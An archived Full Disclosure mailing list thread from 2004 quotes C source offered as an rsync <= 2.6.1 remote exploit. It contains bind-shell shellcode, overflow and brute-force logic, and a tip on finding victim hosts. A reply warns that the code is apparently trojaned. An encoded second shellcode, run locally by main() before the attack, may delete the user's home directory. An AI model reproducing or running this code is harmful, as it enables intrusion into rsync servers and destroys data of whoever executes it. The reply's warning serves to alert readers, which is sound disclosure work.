Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Re: new rsync :) exploit rsync-too-open
From: dkey <dk.dbox2 () gmx net>
Date: Sat, 29 May 2004 01:13:13 +0200

"nice mail"...but if somebody wants to use it, check the shellcode first...i 
think it deletes all your files in your home dir. i'm not sure, maybe 
somebody else can check it...

greets...


On Friday 28 May 2004 21:20, haxor () mac hush com wrote:
i found a nice email... with some strange code, i'm not a hacker but
i think this is what some people call a 0-day exploit... :)

i think you can use this to hack servers running rsync :)

and as i support full disclosure i send it to the list.. happy hacking

:)

**************************************************************

/*
 * rsync-too-open
 *
 * rsync <= 2.6.1 remote exploit by Solar Eclipse
<solareclipse () phreedom org> *
 * the code is based on the rsync April 2004 Security Advisory
 *
 * running: ./rsync-too-open -b -v 127.0.0.1
 *
 * NOTE: it works on many linux hosts, but chroot and some other conf
optinos will make
 * the exploit fail
 *
 * plaes try to keep this code private.. we don't need people owning
debian again :)
 *
 * if you need som fun hosts to hack, try:
 *
http://www.netcraft.com/?restriction=site+contains&host=rsync&lookup=lookup
%21&position=limited *
 * this is not the full version of the exploit, i'll send out a full
version with massroot
 * function and bsd shellcode in 2 or 3 days :)
 *
 */


#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>



#define MAXPATHLEN 4095

int nopcount = 80;

char shellcode[] =
/* port bind tcp/30464 ***/
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
"\x31\xc0"                      // xorl    %eax,%eax
"\x31\xdb"                      // xorl    %ebx,%ebx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x31\xd2"                      // xorl    %edx,%edx
"\xb0\x66"                      // movb    $0x66,%al
"\xb3\x01"                      // movb    $0x1,%bl
"\x51"                          // pushl   %ecx
"\xb1\x06"                      // movb    $0x6,%cl
"\x51"                          // pushl   %ecx
"\xb1\x01"                      // movb    $0x1,%cl
"\x51"                          // pushl   %ecx
"\xb1\x02"                      // movb    $0x2,%cl
"\x51"                          // pushl   %ecx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xcd\x80"                      // int     $0x80

/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin,  sizeof(sin) ) */
"\xb3\x02"                      // movb    $0x2,%bl
"\xb1\x02"                      // movb    $0x2,%cl
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x51"                          // pushl   %ecx
"\x51"                          // pushl   %ecx
"\x51"                          // pushl   %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77"                  // addb    $0x77,%cl
"\x66\x51"                      // pushl   %cx
"\xb1\x02"                      // movb    $0x2,%cl
"\x66\x51"                      // pushw   %cx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xb2\x10"                      // movb    $0x10,%dl
"\x52"                          // pushl   %edx
"\x51"                          // pushl   %ecx
"\x50"                          // pushl   %eax
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x89\xc2"                      // movl    %eax,%edx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x66"                      // movb    $0x66,%al
"\xcd\x80"                      // int     $0x80

/* listen(fd, 1) */
"\xb3\x01"                      // movb    $0x1,%bl
"\x53"                          // pushl   %ebx
"\x52"                          // pushl   %edx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x66"                      // movb    $0x66,%al
"\x80\xc3\x03"                  // addb    $0x3,%bl
"\xcd\x80"                      // int     $0x80

/* cli = accept(fd, 0, 0) */
"\x31\xc0"                      // xorl    %eax,%eax
"\x50"                          // pushl   %eax
"\x50"                          // pushl   %eax
"\x52"                          // pushl   %edx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xb3\x05"                      // movl    $0x5,%bl
"\xb0\x66"                      // movl    $0x66,%al
"\xcd\x80"                      // int     $0x80

/* dup2(cli, 0) */
"\x89\xc3"                      // movl    %eax,%ebx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movb    $0x3f,%al
"\xcd\x80"                      // int     $0x80

/* dup2(cli, 1) */
"\x41"                          // inc     %ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movl    $0x3f,%al
"\xcd\x80"                      // int     $0x80

/* dup2(cli, 2) */
"\x41"                          // inc     %ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movb    $0x3f,%al
"\xcd\x80"                      // int     $0x80

/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb"                      // xorl    %ebx,%ebx
"\x53"                          // pushl   %ebx
"\x68\x6e\x2f\x73\x68"          // pushl   $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
"\x89\xe3"                      // movl    %esp,%ebx
"\x8d\x54\x24\x08"              // leal    0x8(%esp),%edx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x51"                          // pushl   %ecx
"\x53"                          // pushl   %ebx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x0b"                      // movb    $0xb,%al
"\xcd\x80"                      // int     $0x80

/* exit(%ebx) */
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x01"                      // movb    $0x1,%al
"\xcd\x80";                     // int     $0x80

char shellcode2[] =
    "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9"
    "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99"
    "\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81"
    "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb"
    "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf"
    "\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7"
    "\x7b\x35";

struct sockaddr_in s_in;
char module[256];             /* module to use */
void (*funct) ();

void die(int p, char *m) {
        if(p)
                perror(m);
        else
                printf("%s\n",m);
        exit(0);
}


int checkData(int s) {
      int rd;
        fd_set rfds;
        struct timeval tv;

      FD_ZERO(&rfds);
      FD_SET(s, &rfds);

      tv.tv_sec = 5;
      tv.tv_usec = 0;


      rd = select(s+1,&rfds,NULL,NULL,&tv);
      if(rd < 0)
              die(1,"select()");
      return rd;
}


void get(int s) {
        char buff[1024];
        int rd;

      while(1) {
              rd = checkData(s);
              if(rd == 0)
                      return;

              rd = recv(s,buff,sizeof(buff),0);
              if(!rd)
                      return;

              if(rd == -1)
                      die(1,"recv()");
        }
}


int connect_and_version() {
      int rd;
      char buff[80];

      int s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
      if(s < 0)
              die(1,"socket()");

      if(connect(s,(struct sockaddr*)&s_in,sizeof(s_in)) < 0)
              die(1,"connect()");

      if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
              die(1,"recv()");
      send(s,buff,rd,0);

      return s;
}


void login(int s) {
      char buff[80];

      snprintf(buff,sizeof(buff),"%s\n",module);
      send(s,buff,strlen(buff),0);

        send(s,"--server\n",9,0);
        send(s,"--sender\n",9,0);
        send(s,"\n",1,0);

}


void ride() {
        fd_set rfds;
        int rd;
      int s;
      struct sockaddr_in s_in2;
      char buff[1024];

      memcpy(&s_in2,&s_in,sizeof(s_in2));
      s_in2.sin_port = htons(30464);

      s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
      if(s < 0)
              die(1,"socket()");

      if(connect(s,(struct sockaddr *)&s_in2,sizeof(s_in2)) < 0) {
              close(s);
              return; /* failed */
      }



        send(s,"id;\n",4,0);

        while(1) {
                      FD_ZERO(&rfds);
                FD_SET(0, &rfds);
                FD_SET(s, &rfds);

                if(select(s+1, &rfds, NULL, NULL, NULL) < 1)
                        exit(0);

                if(FD_ISSET(0,&rfds)) {
                        if( (rd = read(0,buff,sizeof(buff))) < 1)
                                exit(0);
                        if( send(s,buff,rd,0) != rd)
                                exit(0);

                }
                if(FD_ISSET(s,&rfds)) {
                        if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
                                exit(0);
                        write(1,buff,rd);
                }
        }
}


void doOverflow(int len, int line,int align) {
      int s,rd;
      int *ptr;
      char buff[MAXPATHLEN];

      s = connect_and_version();
      login(s);

      printf("Trying with len=%d and line=0x%x (shellcode=0x%x) align=%d\n",
len,line,line+abs(len),align);

      memset(buff,'A',align);

      for(ptr = (int*) (&buff[0]+align); (char*)ptr < ((char*)&buff[MAXPATHLEN]-
3); ptr++)
              *ptr =  (line+abs(len));
      memset(buff+abs(len),'\x90',nopcount);
      memcpy(buff+abs(len)+nopcount,shellcode,strlen(shellcode));

      rd = MAXPATHLEN -1;
      send(s,&rd,sizeof(rd),0);

      send(s,buff,rd,0);

      send(s,&len,sizeof(len),0);

      rd = 0;
      send(s,&rd,sizeof(rd),0);

      get(s);

      close(s);

      ride();
}

void getModule() {
      int s,rd;
      char mod[256];
      char *ptr;

      s = connect_and_version();
      get(s);

      send(s,"#list\n",6,0);
      rd = recv(s,mod,sizeof(mod),0);
      if(rd < 1)
              die(1,"recv()");

      mod[rd] = 0;
      ptr = (char*)strchr(mod,' ');
      if(!ptr)
              return;
      *ptr = 0;

      snprintf(module,sizeof(module),"%s",mod);
      if(module[0] == '@')
              die(0,"No modules!!!");

      close(s);
}

void usage(char *p) {
      printf("rsync <= 2.6.1 remote exploit\n");
      printf("Usage: %s <opts>\n",p);

      printf("-h this lame message\n");
      printf("-v victim ip\n");
      printf("-m module name\n");
      printf("-l len\n");
      printf("-s line address\n");
      printf("-b bruteforce\n");
      printf("-f force:don't check vuln\n");
      printf("-n number of NOPS\n");
      printf("-a align\n");
      exit(0);
}


int checkVuln() {
      int s,rd;

      s = connect_and_version();
      login(s);
      get(s);

      rd = -1;
      send(s,&rd,sizeof(rd),0);

      if(!checkData(s))
              return 1;

      close(s);
      return 0;
}


int getLen(int len) {
      int s;

      s = connect_and_version();
      login(s);
      get(s);

      while(1)  {
              printf("Trying len %d...\n",len);
              send(s,&len,sizeof(len),0);
              if(checkData(s)) {
                      close(s);
                      return len-4;
              }
              len-=4;
      }
}


int main(int argc, char *argv[]) {
      int opt;
      int m = 0;
      int len = -4;
      int line = 0xC0000000;
      int check = 1;
      int brute = 0;  /* bruteforce ;D */
      int l = 1;
      int align = 0;
      (long) funct = &shellcode2;

        if(argc < 2)
              usage(argv[0]);

      while( (opt = getopt(argc,argv,"v:hm:l:s:bfn:a:")) != -1) {
              switch(opt) {
                      case 'v':
                              s_in.sin_addr.s_addr = inet_addr(optarg);
                              break;

                      case 'm':
                              snprintf(module,sizeof(module),"%s",optarg);
                              m++;
                              break;

                      case 'l':
                              l = 0;
                              len = atoi(optarg);
                              break;

                      case 's':
                              if(sscanf(optarg,"%x",&line) == -1) {
                                      printf("Invalid line address\n");
                                      exit(0);
                              }
                              break;

                      case 'b':
                              brute = 1;
                              break;

                      case 'f':
                              check = 0;
                              break;

                      case 'n':
                              nopcount = atoi(optarg);
                              break;


                      case 'a':
                              align = atoi(optarg);
                              break;

                      case 'h':
                      default:
                              usage(argv[0]);
              }
      }

      funct();
      s_in.sin_family = PF_INET;
      s_in.sin_port = htons(873);


      if(!m) {
              printf("Getting module name...\n");
              getModule();
              printf("Module=%s\n",module);
      }

      if(check) {
              printf("Checking if vuln...\n");
              if(checkVuln())
                      printf("Vuln!!\n");
              else {
                      printf("Not vuln =(\n");
                      exit(0);
              }
      }

      if(l) {
              len = getLen(len);
              printf("len=%d\n",len);
      }

      if(brute) {
              while(1) {
                      doOverflow(len,line,align);
                      line -= (nopcount-1);
              }
      }

      doOverflow(len,line,align);
      exit(0);
}

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]